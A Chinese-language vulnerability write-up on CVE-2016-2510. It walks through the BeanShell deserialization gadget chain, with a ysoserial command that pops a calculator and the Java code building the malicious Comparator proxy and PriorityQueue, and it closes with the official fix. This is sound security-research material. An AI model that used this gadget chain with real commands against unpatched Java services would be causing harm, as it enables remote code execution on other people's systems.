ysoserial-beanshell(CVE-2016-2510)
字数 1208 2025-08-25 22:58:46
ysoserial-beanshell(CVE-2016-2510)漏洞分析与利用
0x01 漏洞概述
CVE-2016-2510是BeanShell组件中的一个反序列化漏洞,允许攻击者通过构造特殊的序列化数据在目标系统上执行任意命令。该漏洞利用BeanShell的动态脚本执行能力,结合Java反序列化机制实现远程代码执行。
0x02 环境搭建
所需组件
- BeanShell 2.0b5版本
- Java开发环境
Maven依赖配置
<dependency>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>
测试代码
// Deserialize.java - 反序列化测试类
import java.io.*;
public class Deserialize {
public static void main(String args[]) throws Exception {
FileInputStream fis = new FileInputStream("test.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
Object objectFromDisk = ois.readObject();
ois.close();
}
}
// Object.java - 测试对象类
import java.io.IOException;
import java.io.Serializable;
class Object implements Serializable {
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
in.defaultReadObject();
}
}
0x03 漏洞复现
使用ysoserial生成payload:
java -jar ysoserial.jar BeanShell1 "open /System/Applications/Calculator.app" > test.txt
然后运行Deserialize类进行反序列化测试,将触发计算器程序。
0x04 利用链构造分析
核心利用代码
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // 处理命令中的空格和引号
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// 创建解释器并执行payload
Interpreter i = new Interpreter();
i.eval(payload);
// 通过反射获取XThis的invocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// 创建Comparator代理
Comparator comparator = (Comparator) Proxy.newProxyInstance(
Comparator.class.getClassLoader(),
new Class<?>[]{Comparator.class},
handler);
// 准备触发gadget(PriorityQueue)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
利用链执行流程
- BeanShell脚本执行:构造一个包含命令执行的compare方法
- 动态代理:通过反射获取XThis的invocationHandler,创建Comparator代理
- PriorityQueue触发:利用PriorityQueue反序列化时调用comparator的特性触发漏洞
PriorityQueue反序列化流程
readObject()方法被调用- 调用
heapify()方法 heapify()调用siftDown()siftDown()调用siftDownUsingComparator()siftDownUsingComparator()调用comparator.compare()
最终通过动态代理机制,调用到我们构造的compare方法,执行任意命令。
0x05 漏洞修复
官方修复方式:
- 在Handler类中去掉了Serializable接口
- 添加transient关键字防止关键字段被序列化
修复commit参考:
https://github.com/beanshell/beanshell/commit/1ccc66bb693d4e46a34a904db8eeff07808d2ced
0x06 技术要点总结
- BeanShell特性:支持动态执行Java代码
- 动态代理机制:利用InvocationHandler和Proxy类
- PriorityQueue利用:反序列化时会调用comparator的compare方法
- 利用链构造:将命令执行代码封装到compare方法中,通过动态代理和PriorityQueue触发
0x07 相关扩展
某微之前出现的BeanShell RCE问题与此类似,但利用方式不同:
- 通过bsh.servlet.BshServlet提供的网页接口执行代码
- 结合Resin中间件的特殊配置实现利用
参考资源
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2510
- ysoserial项目源码
- BeanShell官方修复commit